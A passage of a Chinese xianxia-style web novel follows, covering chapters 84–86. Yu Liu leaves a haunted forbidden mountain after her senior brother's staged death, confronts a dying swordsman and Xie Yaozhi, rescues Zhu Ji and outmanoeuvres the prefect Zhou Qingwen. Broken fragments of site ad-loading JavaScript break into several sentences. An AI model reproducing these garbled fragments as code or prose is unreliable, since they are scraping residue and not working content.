玉流按住无法抑制颤抖的右手,耳畔还萦绕着他最后的几句残言…… 她很想问此“他”是谁,话至嘴边才恍然察觉毫无意义。 她的师兄会陪着她胡闹,也会由着她耍赖,但她的师兄下定决心要做的事情不是她能轻易更改的,不然,她也不会一直被他压着,呆在万丈峰七八年。 发觉她的失神,宋繁声低低地笑着,手抬起轻按在她的手臂处:“当时这里被剑划开的时候,疼吗?” 玉流猛然扬起头,再次提及的小事让她闪过短暂的错愕,而后她镇定下来。 思绪拨云见日。 她怎么会没有想到的,她早该想到的……不,她已经想到了,只是她不信。 “可,”极短的清醒后迷云又重来,“那后来的断指……” 宋繁声隔着衣裳摩挲着她的伤痕,摇着头,安抚诱哄似鬼魅之音靡靡入耳。 “杀了我你就会明白的。” “你知道该怎么做的,对不对?” “就像是三年前在无涯山一样,所以,不必担心我,你只要往前走就够了。” “他很快就会找来,但不要害怕,因为无论如何,我都会在……就算是掉入死无葬身之地的深渊,我也会在下方接住你。” “玉流,师妹,时瑀……小玉,”宋繁声带着她松离的右手一寸一寸地拔出不悔,真的就如当年那般退后着将剑端指向了心口,半寸都不偏,“相信我,该动手了……” 玉流拿手肘擦净长剑的余血,漠然的脸上浮现冷笑。 荒唐! 甚是荒唐! 这件事从头到尾都很荒唐! 他以为这是他想死就能死的吗,也不看看这里是什么地方,也不想想她是否仍如三年前那样的愚钝! 他轻贱自己,以命做局也在所不惜,而她,亲手补上那一剑的瞬间,本就残损缺口的心瓷迅速四分五裂,一地的瓷片被腾起的心火烧化消融。 三载隔世,于起始重转。 不是锔,不是嵌,他用他的血肉炼出不灭之火,帮她重新烧铸。 这世上怎么会有如此愚蠢之人,生时成柏,死时做火……明明他们走的是同一条路,却像是各走各的,终究无法成为同行的旅人。 “呵……呵呵呵……”玉流不禁笑出声来,无悲无喜地面容之上,血瞳褪去,她抓住了一缕不肯离去的白雾。 白雾如蛇行,蜿蜒于掌中。 “吃够他的血了吗,”玉流的声音仿佛从数千丈深的冻河下传出,“我当时在的时候对你们够好了吧。不管是人是鬼,都要讲道理的,你们拿了我的东西,就该有所回报,不是吗?” 小白蛇点着小虚化的脑袋,讨好地蹭蹭,从她的手中爬出,碰了碰她的头顶。 什么意思不言自明。 它们答应了。 林青霭快散了,不到十岁的小姑娘没人说话,没鬼陪着,快要离山前的那几年,她的性子越发乖张,从敬而远之到咄咄进犯,它们这些白雾差点被她玩废了,连后来她明目张胆地走出寒山,它们都不敢做点什么,只觉得庆幸。 老天爷终于开眼了,这位小祖宗终于走了,但旧日的伤痛依旧在,以至于这次她回来,它们都没有敢主动招惹她。 秉承着“人不犯我我不犯人”的念头,它们对她可算得上是恭而有礼。 除了被林青霭撺掇的那一下。 它又悬在玉流眼前,引着她看往树外的另一条小径。 “这也是报答?你们可真够大方的,”玉流看懂了它的意思,也看出了此路通向的地方,“里面有人,是谁?” 白雾没有动作了。 玉流:“没用。” 白雾窘迫地道歉。 “算了,可以滚了,你,还有你的同伴们。” 驱走惹人厌烦的白雾,玉流收起剑,踏上了这条小路。 入眼是越来越熟悉的山径,她似乎见过,在刚入幻境之时。 只是没有皑皑的白雪,只有斑驳的血脚印,每一滴的血珠之上都围着几只秃鸦。 预兆吗? 或许是。 脚印的尽头是记忆中的山洞,扑鼻而来的血腥化作风,被群集于此的另一片白雾分食着,它们如同无数的细长的血线,绕着洞口打转。 玉流没有理睬,沿着脚印走进去。 洞内是相似的血泊,但不是当年之人。 也是,怎么可能会是他。 靠在石壁上奄奄一息的人听见响动,吃力地抬起眼皮,回光返照地动了动了僵死的身子。 借着洞口透进的弱光,玉流看清了那张脸。 玉流的眼神变了。 右侧的一半被剖开,圆滑完整的伤口下,里头垂着的丝丝血肉已经变干,空洞的眼珠子在与她对上的刹那仿佛找到了什么救命仙药。 一时间,她看见了许多。 畏惧,贪婪,狠毒,疯癫。 玉流静静地看着,冷漠的眼神落在他身上,没有说话。 脸生,没见过。她原以为这洞里会是诸几或者赵廉的。 “怎么咳咳咳……”缺了一根手指的手扶起脸皮,盖上之后,他夸诞地惊呼,“玉大人不认识我了吗?” “我该认识你吗?” “这才过去多久玉大人就忘了,看来我真是个无名小卒,”每说一个字,他的胸口都会鼓出几道血,像个被刺破的牛皮囊,他要在血漏尽前说完,“是我啊,护着安德明去往崇州的剑客。” 玉流怔了怔,淡淡的恍然,谈不上有多么的惊讶。人已经浸没在冰冷的河水中,冷得发麻:“你没死。你是谁?” “不,”玉流抓起他只剩下四根手指的手掌,“我应该问,你是谁派来的。” “啊哈哈哈哈……”他狂笑着,狂喜着,浑然不顾身下快要流干的血也要竭力讥嘲,“我的老天爷啊,没想到赫赫有名的玉流大人也会跟个无头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 苍蝇一样乱撞。” “想知道吗,我帮你啊,”他停下来,半张完好的脸是荒诞的笑,满眼皆是仇与恨,一字一字如同惊雷落地,“时、瑀、姑、娘?” 下一刻,玉流掐上了他的咽喉,剑客本就死白的脸因窒息而发青发紫发黑。 玉流没有急着下力道,慢工出细活,折磨人也是,控着手劲慢慢来,甚至还有闲心观察他身上的伤口。 几排短而深的口子,刀伤?相差无几的间距,有点眼熟。 但他蹬腿挣扎着,玉流不能多思了,手劲开始用力,钳着软骨,一点一点地收紧:“谁和你说的,谁!” “咳,咳咳咳……”本能的求生让剑客想要自救,他抓着玉流的手,破损的指甲陷进皮肉中,“你、你咳咳咳……猜不,出来吗?” “猜?呵,我何须要猜。”玉流厌恶地盯着他,眼珠翻了几个来回,突然松了力,扭过他的脖颈,骨头咔嚓折过,跟他的脸皮一样,没彻底断。 不太亮堂的山洞里,玉流不出意料地找到了藏在耳后的小字。 “你也是阴阳面的人。” “啊,这就被发现了啊,”听起来甚是可惜,剑客歪着脑袋,浑浊的眼睛开始充血,“我还以为你会怀疑是安国公告诉我的,毕竟,他也知道你的身份,不是吗?” 玉流垂眸:“你想说什么?” “哈哈哈……我啊,”剑客摸上自己的扭曲的脖子,被酷刑毁掉的脸上眼睛斜着,“玉大人,我是一个很惨的人,这辈子到死都在被人利用,反正都是死,我也想利用一次别人,就当是做件好事,为了我自己……” “我知道的不多。安德明是个天真的傻子,极乐的时候说诨话做诨事,给了留了点他爹的把柄,可惜了,还不如不给我,光是这点就够要好几次我的贱命了……反正我已经这样,还不如死了好,地下都没有地上这么阴冷,至少还有个伴……” “玉流姑娘,啊,不……是时瑀姑娘,哈哈哈哈哈哈……”死前的绝唱,回音震壁,剑客流着血色的涎水,狂笑不止,“我送了你一份礼物……是一份谶语咳咳咳,你那么聪明……定会,定会……” 说着,他亲手扭断了自己的脖颈。 轰然倒下的身躯后,玉流看见了被血渍覆盖住的刻痕。 深黑的石壁上,血迹早已干涸,红黑交织着,她往后退着,看清了全貌。 ——登彼太行,翠绕羊肠。杳霭流玉,悠悠花香。力之于时,声之于羌。似往已回,如幽匪藏。 又是这首诗。 玉流觉得烦,一拳打上石壁,震落几块碎石,咕噜噜地滚着,戛然而止,随同停下的,还有沉没在风中的足音。 “你看起来很不好。” 玉流慢慢地转过身,站在洞口的人衣着干净,只有别在腰间的折扇留下一抹很浅的红痕。 那是血。 在两道不同的血气中,玉流闻到了一缕不久前在她手中枯萎的淡香,和她身上残留的一样。 玉流的眼皮跳了一下,眼神微妙地暗了一瞬。 荒唐事似乎成了真。 耳鼓被心震得快聋了,她不着痕迹地扯了扯嘴角,抬眸间,说出了那句久违的话。 “好久不见……阿遥。” 84. 我不傻 乍然的欢喜,如风岚散皎月现。 谢遥知一步步走进山洞中,停在离她不远不近的地方。这一次他和她都是清醒的,也都是记得的。 谢遥知扬起笑,眉眼唇齿皆是,甚于当年在万丈峰中的相见。 “哈……你都想起来了。”从前见面总是放荡调笑,嘴贱犯浑,与漫不经心沾亲带故的青年此刻攥紧着骨节,鬼知道他等着天究竟等了多久。 他有些紧张,纹丝不动地看着玉流,眼皮都不带眨的,生怕一个不留意,她就反悔消失。 “是,”玉流也随之笑笑,没有去看他灼灼的目光,偏散地落至洞外虚幻的浅雾中,冷如冰刀的手指随意地揩去尺骨砸出的擦伤和细血,说,“应该没有太迟吧。” “怎么会迟呢,不是正正好吗?”谢遥知微低头,心想着就算是大罗神仙也不会找到比这更好的时候了。 玉流没有接上这句话。 眉心蹙成丘壑,心说正正好,太正正好了。 山还是那座山,人也是当年的人,一个都不少,甚至还多了几位。 玉流终于把游离的注意放在了他的脸上,问:“你为什么要跟进来?” 谢遥知料到她会问,做好了万全之策,不紧不慢道:“因为担心你。我和你分开绕回巷子后,发现那人逃了,那个……周承昀。” 聪明人说话无需说得那么的直白和明晰。 玉流讽刺地笑了声,觉得自己越发可笑了:“你从什么时候知道的。” 谢遥知:“你问的是此周承昀非彼周承昀还是——” 玉流摆手打断他:“宋繁声没死的事。” 谢遥知垂下眼,略一停顿后,说:“你们离开崇州后不久,我……靠一些法子,费了点工夫,彻底查清了敏郎的底细。” 居然这么早,连谢遥知都比她知道得要早这么多。玉流莫名地烦躁:“你为什么不告诉!这么长的时间,你完全可以告诉我这件事,为什么不说!哦……难道你也想看着我像一个傻子一样被玩得团团转吗!” 满是怒腔的吼声,她比他想象中的还要愤怒。可她压下来了,含在嗓子眼里,凄惨得很。 谢遥知张着嘴,默了许久才说:“我并不是故意要瞒着你。玉流,我们才争吵过,还闹得那样难看,你又已经把心送给了那个骗子,我要是当时就告诉你,你会信吗?我不知道他那么做是为了什么,或许有什么不得已的苦衷,想来都不是我这个外人可以插手的。” 虽然没有明说,但这样的话里显而易见地藏了委屈。 玉流无声地说了一句:“的确不是。” 她到底没被心火搅乱神思让自己得了失心疯。喉间吞咽了多次,换了另外两个字出来:“抱歉。” 谢遥知的眸光微闪,不由得怔出了神。他们相识这么久以来,这还是头一次,她在他面前服了软。 所以这一步没走错,不是吗? “我又不会怪你,这件事一开始就不是你的错。”他这般说着。 玉流舔了舔牙尖,也跟着说:“的确不是我的错,所以……” 玉流的话锋一转,忽而发问:“你跟着我进来后做了什么?你又是怎么找到的我?” 谢遥知淡然回:“我本来是沿着你走的那条道进来的,但是白雾太浓了,走入禁山后就完全摸不准方向,怕给你添乱想原路返回来着,没想到误打误撞,反而遇上了你要找的人。” 玉流掀眼:“什么?” 谢遥知伸手,指向她身后的死人:“我不敢断定,但那位,也许就是引你来的无涯贼首。” 玉流偏头,没有去挑“无涯贼首”的刺,看着地上死人残缺的手指:“他身上的伤是你的杰作?” 谢遥知承认:“是,但我什么准头不太行,还是让他给跑了,还好你也找到了这儿。怎么说呢,也不知道他在急什么,该死的人跑了老远,结果还是死……啧,你扭断了他的脖子?” 玉流不动神色地反问:“你说呢?” “看来是了,你下手,还是这么狠啊。” “我杀人什么时候手软过,然后呢?” “然后我一路沿着血迹找到了这里,”似乎是品出了她言语中的怀疑,谢遥知有些受伤,“你是不信我吗?” 玉流捻着手指,没有说话。 她依旧盯着地上所谓的“无涯贼首”,她该信吗? 宋繁声在那种时候表明崇州的无涯贼首身份,玉流本以为他只是想让她不要再犯傻。如今谢遥知又说地上的这人是……玉流恍然间明白了什么。 就像当初利用“无涯贼首”的名号引她进入崇州遇上敏郎一样,那根黥了“无涯贼首”的断指也是逼着她到回天城来的。 前者是宋繁声的手笔,那后者呢? 玉流转回身:“你是想说无涯贼首亲自断了根手指就是为了让我到这荒无人烟的禁山来?那只能说要么是他脑子有病,要么是我脑子有病!” “谢遥知,我不傻,”玉流径直走到谢遥知跟前,仰头盯着他的眼睛一字一句地说,“我都没有问你最重要的那件事,所以,不要再想方设法找这些可笑至极的谎言骗我了!” 谢遥知被她这样看着,心头划过一丝很短暂的慌乱。 这个谎话的确太粗糙了。 果然,他还是无法将自己摘得清清白白。 “……好,”他松了口,“自你你离开崇州,我也踏上了远游之路,北上的途中,我遇见了那名剑客。” 谢遥知说:“安德明之死闹得沸沸扬扬,我自然也听说过他身边从江湖上招揽的剑客。你也知道我朋友多,知道他的长相也不是什么难事。我那时候在穷乡僻壤见着他还觉得稀奇,他的主子死了他还能活着,这安家人还真不错……” “哎呦,”谢遥知笑笑,不着调地继续,“然后我就看见了他偷偷摸摸地带出了另一个人来。你说两个男的走个夜路还要勾手搭肩遮遮掩掩的,和脱了裤子直接安个‘有嫌疑’的把子有什么分别。我觉得有趣就跟上了。你猜,另一个男子是谁?” 玉流没什么情绪,只是语气中带着些许的惊讶:“你知道那是赵廉?” “这很奇怪吗, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你总要允许这世上除了宋繁声以外还有人会关心着你的行踪吧。”谢遥知呵出一口气,有种就想要把什么都通通告诉她的冲动。 他不能。 只要说出一件就是从绸布上漏出根线头来,轻轻一扯,整块布料都会粉碎。 她也不能知道。 他忍下了,就和从一样,他绝不能成为玉流眼中的恶人:“鄞州太守那案子出来前,我刚好就在城中,很不巧,夜里瞎逛的时候,我见过他们办事,你也知道我这人别的本事没有,凑热闹的本事顶高,闲着也是闲着,凑上去听了一下,听见范家人喊他郡王。” “这么巧啊,”玉流哼笑,“谢遥知,这种事情都能被你撞见。” “唉,运气嘛。” 当然不是。有人为之,自然要有人见之。从范有恩到赵廉,都是他一手策划的罢了。 之后的话不用谢遥知说了,玉流已经能穿起整个因果了:“你认出了赵廉,猜出了他们之间的勾当,判断出了他们的逃亡的大致方向,搁这儿守株待兔是吗?” 谢遥知点头:“本来是这样的打算,但没想到外侯官中已经有人来找他们了。不过他似乎不太行,等我发现他走进禁山的时候已经来不及了,于是我想……” 他的声音轻下,舌尖抵着上颚,狐狸眼蒙上一层浅水:“我想将错就错,同周清文打好关系,然后……我也想赌一把。禁山那么诡异,说不定你来的话一切都还有回旋的余地,或许你在我和他之间,也能公平一点,不是吗?” 他笃定宋繁声不会,也不敢把他们之间共同见不得光的秘密告诉玉流,那么,他撕开事实的纸簿,重新拼凑出一段真相又有什么关系呢? 至少,他比那个假死的好一点。 “呵……哈哈哈哈哈……”玉流简直要哭笑不得,断断续续地笑了笑,牙齿咬得唇缺血发白,手掌抬起又放下。 她缓了缓不稳的气息,说:“有病,都他娘的有病!” 谢遥知看着她的手落下,眼神暗了暗:“我没想过他也会跟着来的,你进山后,你和他之间……” “呵,还能怎么样,这山这么古怪,他没藏住罢了,他只是想耍我……我跟个纸鸢一样被他牵在五指间,傻得没边了。”玉流扯开嘴角,闭上泛起波澜的眼睛,那些似是而非的谜团缠在心头不肯退。 玉流恨自己,也恨他。 再睁眼时,眼眸沉寂,她狠决道:“你说得对,我不该有弱点的,还好来得及。反正我已经背了三年的骂名,不如一直背下去好了。” “谢遥知,以前的我可以通通不计较。现在我问你,你还有什么没有告诉我的吗?”玉流如清水澄静的眼眸似乎要将他整个人破开看透。 谢遥知呼吸窒了窒,手摸上折扇面里的银刀片:“没有了。骗你是我的错,如果你还有怨气,打我骂我——” “不用了,”玉流未变的神情下整个人已经冰冷,“你总比他好些,我信了。” 既然他们都在当骗子,不如自己也来当个骗子。 演戏而已,她又不会比他们差。 85. 不作别 在此之前,玉流要先找到诸几。 “你从哪儿来的,没看见其他人吗?”玉流站在洞口,看着通达的小路,不知选那一条为好。 “没了。要是我能遇见你的同僚,就不会来追杀他了。”谢遥知脚下还不舍得停,要不是觉得不能逼得太紧,他这时候已经跟宋繁声一样自觉地走到玉流身后了。 谢遥知作沉思状,扶着额头很为难:“不如你随便点一个,反正这片你这么熟。” 玉流:“……” 挑起眼尾乜了他一眼,玉流呵呵道:“真是个好办法呢。” 见她真的随便伸出根手指在这几条路间来回点起来,谢遥知震惊:“你来真的?” 玉流无奈:“谢公子,我连你都能忘,怎么可能会记得住那么多的岔路。” 谢遥知制止她:“随便走的话会不会越走越深?你要是真的毫无头绪,要不要来听听我的。原路返回也不是不行的,当然,是我的原路。” 他说得相当随意,但玉流听得出来,他很自信。 她怎么可能会不知道选哪一条去走。 她非好赌之徒,也不喜投掷骰子,但她也有赌徒心境。 还不知赌大赌小,骰面在空中轮转的时候,她就已经有了想要的点数。 但赌徒怎么能暴露自己的心思呢,当然是要揣度对手的。 于是,玉流说:“那走吧,走你的回头路。” “你——”谢遥知更震惊了,认真地打量了玉流一番。她不可能听不出他的打趣,可她还是答应了。 很明显,她有些魂不守舍。 所以还是在意的,根本没有如她说得那般轻松。 也是,那本就不是什么无名小卒,那是宋繁声。同他争,同他斗了十多年的宋繁声。 谢遥知很轻地笑了声,须臾的自嘲之后,缓缓开口:“那行,跟我走吧,要是走错了你可别后悔。” 玉流淡淡道:“走错了我就把你也留在这里。” …… 这条路上的白雾显然要比她走的那片少许多,玉流不是太高兴:“你进来的时候这块就这么安全?” “安全?哦,你说的是这些啊,”谢遥知抽出折扇,打开,扇了扇,“我也觉得挺奇怪的,可能是因为它们对我不感兴趣吧,毕竟有你在。” 玉流不经心地点头:“有道理,你该谢谢我。” “是要道谢,”谢遥知伸出两根手指,在她眼前摆着,“救我了两次了,玉流。” 闻言,玉流看向他,平淡地掠过他眼里的笑意,接着伸出手,毫不犹豫地扣回一根指头:“这次你进来是为了找我,可以直接抵免了,还有……” 玉流碰着他的食指,口中剩余的话终究没能说出来,什么当年想救你的根本不是我,帮你下山的从来不是我……说不出。 玉流含糊地嗯了声:“就这样。” 冷细的手指离开,谢遥知看着空落落的掌心说不出什么伤心失望,这才刚开始,不是说了要慢慢来的吗,所以不要急。 换过一口气,他道:“玉流,别这么……” “就这么斤斤计较。你知道我的,我不喜欢欠别人人情,就算是你也——”玉流如冷水的眼睛忽然闪动,她越过一步,摸上划出灰白棉丝的树皮。 这是最近才有的。 她再回头看向谢遥知时,神色中带了点神采:“谢遥知,看来你的运气真的比我要好。” 玉流找到了诸几。 至她离京满打满算也只有半余月,同诸几失踪上报也不过才几日,他就消瘦成了这样。 清灰的脸,冰冷的身,垂着头靠在树下,像一个人死了很久的人。 这禁山里的日子,还真不是人能过的。 玉流的脸色很难看,她没去碰他的鼻息,将双指按在他的脖颈上。 漫长的计数中,玉流等到了很微弱的颤动。 玉流闭了闭眼,很好,还有一口气在。 她稍微能安心些了。 “玉流,这儿还有一位。”谢遥知用扇刀撬开棺材板,木头重重地砸落在地上。 还有赵廉。 指尖拂过裂开的棺木,玉流看了眼这口棺材。 赵廉就缩在里面。 惊恐的脸,暴出的眼,破裂的青筋,堪比被鬼索命。临死前还保持着曲折的手臂,僵硬的手指上尽是被木刺挠出的细伤。 他是真死了,而且已经死了很久了。 “这山里有坟吗,他哪里找来的棺材,总不能是现做的吧,但是是不是太简陋了点,”谢遥知说完才注意到赵廉的死状,嘶了老长一声,扇子都差点没握住,“这不会是,活活吓死的吧。” “你说呢?死人的棺材是给死人睡的,他占了人家睡觉的地方,”玉流踢翻棺材,把人拖了出来,觉得他这样子太难看,直接踩断两只手臂,冷冷道,“报应吧。” 敢动她的东西,活该。 这棺材是玉流小时候做的,就在林青霭死的那一年。她拆了床板拼拼凑凑,勉强能护住母亲的身子。 但最后林青霭决绝地放了一把火,将自己烧得干干净净。她说她不想被钉在黢黑的地下,还是外面快活些。 后来玉流才知道这是骗她的。 一是寒山葬不了人。随便挖深点,地下就是一堆又一堆的白骨坟。这么挤的地方,哪里还有空隙再放下一个还有血肉的人? 二是散在风里,她的母亲还有留存的微末可能……后来,这成了真。 再后来,这口棺材彻底没了用武之地。 她记得她离开前把它放进小屋的,啧,赵廉也是有胆子。 不过也可以理解,毕竟被困在山中的人里面,最容易被白雾抓到心魔的就是他了。 可以用来庇身的屋子已经半毁,赵廉想到了棺材,躲进去,关起来,眼不见,心就静。 想得到是挺美的。 结果也是挺好的。 他死了,赵颐的麻烦解决了,至于她的麻烦……赵廉是蠢货,有他不如无他。 玉流敛好思绪,指着地上的死人和树下快死的人:“你选哪一个?” 谢遥知:“……” 他看了眼强壮的诸几,再看了眼干瘦的赵廉。这还有必要选吗! “唉,”谢遥知清清嗓子,似乎非常为难,“我虽为男子,但是我是一个弱男子,不比你,我——” 玉流抓起赵廉的一条腿就走了:“诸哥交给你了,给我扶好了,掉下来一次我都会记着。” “唉?唉!”谢遥知认命地长 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叹一口气,揣好折扇,走到树下弯腰支起诸几。 救命,这是壮汉吧,怎么能这么重啊! 玉流就在一旁冷眼瞧着,谢遥知舔了舔干涩的嘴角,朝她笑笑,当了这么多年没什么真本事的玉公子,他还真不能随意破功了。 “跟紧了,我差不多看出下山的路了。”玉流提醒他,先行走下弯弯曲曲的羊肠小径。 谢遥知半卸内力,几乎是承了诸几的半个身子,晃晃悠悠地跟着玉流走出了禁山。 山内山外简直是两分日月。 无云无雾,头顶悬着明晃晃的艳阳。 他们都还活着。 谢遥知锤了下发疼的腰侧:“玉流,你不会要这样毫无顾忌地走出回天城的大门吧。” “不会,我们先走出南面的界线起。你别大喘气了,有武功傍身就别装文弱书生。” “玉流,”谢遥知好脾气地反驳,“我有几斤几两你不知道吗!你看看这位诸兄,你说高,倒也没高多少,问题是他壮啊。” 玉流:“那你回去也练。” 谢遥知:“你喜欢这种?” 玉流:“不喜欢。” 谢遥知:“那我不练。” 玉流提着赵廉的胳膊将半僵硬的尸身拖过石坎的缝隙,慢慢道:“不练就闭嘴。” 不多时,两人已踏出禁线之外。 回天城之南又恢复了往日的死寂。玉流吹了声口哨,谢遥知靠着墙小憩的工夫,有人从巷子外飞速赶来。 谢遥知扫了一眼,心说这外侯官动作有够快的。 “禁线这边在他们的巡查范围内,”玉流像是知道他心中所想,解释了一嘴后才将赵廉交到外侯官手中,“你们想办法把他带走藏好,不要惊动任何人,更不能让周清文发现,好了就在侯官署等着我回来。” “是,”外侯官背起赵廉,又问,“那诸大人他……” “不用担心,他只是体虚,还没要死。谢公子很空,让他扶着就行。” 谢遥知揽着诸几堪比一个半自己的腰背,累得两眼打转额头冒汗:“……我说,如果你们要说这样的事,能不能别当真我的面。” 回应他的是玉流甚至虚伪的笑。 平缓的田地间,近处是萧瑟的红墙青瓦,未能关紧的虫蛀门扉,以及门后久立的清瘦人影。 远处是…… 玉流停下脚步,在徐徐而来的风雾中,侧身回望。 冲天而起的秃鸦鸣声凄厉,吵醒了半座寒山。已被白雾笼罩的山林中,似乎有什么在同她遥遥对望。 “玉流,我这瘦胳膊撑不住你这位诸大哥了,能不能过来搭把手,我……玉流,玉流?你人呢?你在看——”谢遥知噤声,搭上她悠长的眸光,陷入山林深处。 她在看什么,他猜得出来。 无名的酸涩让他很不舒服,他还是要拐着弯儿地问:“你在看什么,还是……你在等什么?” “你不知道吗,不要试探我,”玉流平静地从白雾缭绕的山面中收回眼,拍着手擦去指尖残留的泥石,“难得回来,作别寒山,作别白雾,作别旧事……” 玉流弯起唇。 不作别故人。 “走吧,快点走出回天城,我还要去找邳州城里的人算账。” 86. 两份账 玉流能找到诸几在周清文的预想之内,玉流能走出禁山,他也敢想,毕竟这位女侯官行事作风乖谬张狂他早就有所耳闻。让他这种知情人惊惧了十几年的禁山在她一个什么都不懂的小丫头眼里,只是小小一座山而已。 诸几还能活着,也勉强符合周清文的预期。都是外侯官的副指挥使了,总要都点能耐的。 从在回天城附近巡视的差役口中得知这个消息,管家一口气都不带换的,赶到太守府时,周清文正躺在藤椅上假寐自得。 周围的婢女一边端茶喂水,一边摇扇驱虫,好不快活。 管家心慌得要死,跑过去压低声音:“大人啊,你怎么还坐得住啊!” 周清文睁开一只眼,看清他那怂样,哼了声,摆手屏退手边的下人后,才配合道:“回来就回来了,怕什么?诸几又不是我逼上禁山的,最多嘛,就得个管山不力搜救不及的过错,小罪名,小罪名。” 是,他知道,且一直都清楚诸几在哪里。 他就是不想去找。 诸几自己找死,他为何要去当拦路的菩萨? 周清文自在得很,反正他只要一口咬定不知道不知情,玉流能把他怎么样?总不能跟对付范有恩一样一刀砍死他吧。 他又没犯法。 管家还是忧心忡忡:“那玉大人要是不信呢?” “那就是她的事了,我都把儿子借个她使了她想怎么样!我们要做的就是恭喜玉大人成功寻回了诸大人,”周清文握住扶手直起背,招手让管家过来捏肩,“我们再等一会儿,就当是刚得知这个好消息……对了,他们回侯官署了是吧。” 管家:“对,三个人都回去了。” “好好好,”周清文点着头想着管家细心,想着想着悄然发觉有哪里似乎不太对,“三个?怎么会只有三个,承昀呢,小谢没把他带回来?” 管家的手一重一轻地按着,茫然道:“公子?怎么会有公子,他们进回天城的时候三个人,出来的时候也是,玉大人,诸大人,谢公子,哪有什么公——唉?我们公子呢!” 因着周清文猛地站起来,脑壳就这么直直地撞上了管家的下巴,他摸着嘴上嗑出的血:“嘶——哎,疼疼疼啊。” “闭嘴!”周清文哪还有心思管他疼不疼,“你确定承昀没回来?” 管家:“差役没说啊,大人要不我们去侯官署问问,玉大人总是知道的吧。不过大人你也不必担心,公子这么大的人了,还有玉大人在,肯定不会有事的。” “这可说不准,”管家不提玉流还好,一提玉流,周清文就更怕了,撩起衣摆就要往府门外赶,“走,赶紧去侯官署。” 周清文扑了个空。 玉流不在,谢遥知不在,除了几个一问三不知他们二人去向的外侯官,偌大的侯官署里只有躺在床上跟死了差不多的诸几。 还有一位被请来医治诸几的郎中。 见此,周清文冷静下来:“差役没说承昀跟着回来了是吗?” “没、没有,”管家提议,“不如直接问问这几位外侯官大人有没有见过公子?” “问什么,”周清文道,“他们连自己的长官都不清楚在哪儿,怎么肯能知道承昀的行踪!” 管家探头,瞟了某位外侯官几眼:“不一定吧。” 似乎时为了印证这个说法,下一刻,一直装哑巴的外侯官突然开口:“周大人,方才帮忙照顾诸大人太忙,间隙间似乎听见谢公子说起过,小周公子好像进去后不久就同他们分开了,一直没遇上,玉大人下山后也没见着人,回天城里也无人见过他,大人他们便理所当然地认为小周公子先回来了。” “什么!这算哪门子的理所当……”周清文高声大呵后才觉失礼,掩饰般拱手道,“本官知道了,本官现在就去回天城看看。” 话是要这么说的,骂是要在心里吼的。 该死的玉流!她怎能如此不顾及承昀的安危! 该死的谢遥知!他那么信任地把承昀托付给他,他怎可以说出这般不负责的言论来! 还有他那蠢儿子,小时候那么听话的人,怎么没了娘之后笨成这样,满脑子的灵光劲儿全用在不该用的地方! 离开侯官署的管家满脸哀色:“咋办啊大人,难道我们要去回天城吗?” “那不然你有更好的办法吗!还不派人去找——不,我亲自去找,城内失踪案才过了不久,不能让城中百姓知晓承昀不见的消息,不然极有可能引起不必要的恐慌和麻烦。好了,你叫几个留在府衙的差役来,就说本官要去回天城视察。” 管家:“那、那我也去吗?” 周清文瞥他:“你要留在这儿?” 管家:“玉大人不是不见了吗,总要有人留下帮大人先看着。” 周清文摸着下巴:“有道理,那你四处看看,看看她在搞什么鬼。” 周清文强撑着没朝外人发火,咬牙道:“好了,你赶紧去安排,我在城门口等着!” 然而周清文在回天城内也扑了空。 直到装模作样转了第三圈后,玉流安排好的外侯官才姗姗而来:“周大人是在找小周公子吗,他已经出去了,就不久前,周大人没有看见吗?” 周清文看向身边的衙役,接收到他们呆傻的目光,气不打一处来:“要你们何用!” 像头驴一般被溜了一个时辰,周清文气得脑子都不清醒了,再加个本就晕乎的管家,两个加起来算得上耄耋的老人家愣是没想到问问城里巡查的差役有没有看到周承昀的身影,几乎是外侯官说什么,周清文就信什么。 周清文骂骂咧咧地走回了太守府,丝毫没有察觉到府内的过分安静,甚至在跨入门槛时都还在下意识地以为管家就在身边。 “你去让下人烧盆热水,浑身的汗臭,本官要梳洗一番,然后再去找那个小女子算账!怎么不回话,管——” 周清文张大嘴巴,似乎都能塞进一个鸡蛋了,只见满地名贵花木的花苑中,玉流就坐在他的躺椅上,荡着二郎腿,双眸笑盈盈:“周大人这么气急败坏,是要找谁算账啊?” 玉流按住摇晃的藤椅,抬起头,盯着他的眼睛,笑意瞬时烟消云散:“听周大人的意思,是要找我吗?” 周清文的怒意在看见玉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 流的第一眼就如同火炉中还在烘制的铁器被浇上了一盆冷水。 “嗞——”的一声,未经锻打,支离破碎。 “玉大人怎么来了,我这府中的下人也是,怎么也不先向本官这位主人禀报,失礼,实在是失礼。” 玉流好整以暇:“怎么会失礼呢。太守府里的仆人都被我关押了,周大人不知道也很正常。” 周清文一时愕然:“玉大人说什么,什么关押了?” 玉流啊了声,奇怪道:“周大人还要同我演戏?你的好管家都告诉我了,周大人心术不正,先是将诸大人逼近回天城内,接着又让人扮演周承昀,想将我也困死在禁山里。” 周清文的脑子都卡住了:“什、什么?玉大人说的每一个字本官都能听明白,怎么合起来就不是人话了呢?” “啪啪啪”,玉流为他鼓掌:“不承认啊,也行,总要听听周大人的说法。那周大人就先向我解释一下为何我会在太守府内找到被绑着的周承昀,你说行吗?” 一个时辰前。 玉流勉为其难地搭了把手,扶着诸几走出回天城,故意走得慢,默不作声地看着邳州的差役蹬蹬蹬地跑回来。 接着,就是溜周清文的那个小把戏。 随便找了个由头支开谢遥知,算好了时辰,周清文前脚刚走,她后脚就摸进了太守府。 当时她又喜又怒又悲,完全忘了问问宋繁声把周承昀藏哪儿了,走出回天城才想起还有这么件小事来。 以她对师兄的了解,不至于把人给杀了。 还有在府衙见面的时候,那个周承昀应该是真的,所以,他大概率是在邳州内被换的。 这么捋下来,她莽猜一下,太守府? 事实证明玉流还是够懂宋繁声。 玉流在床板下找到了被绑成粽子的人:“周承昀。” 他被拿走了外袍,只剩一件薄薄的单衣,玉流割断了麻绳,拿下他口中的布团,想着是自己师兄的手笔,有了点善心:“还好吗?” 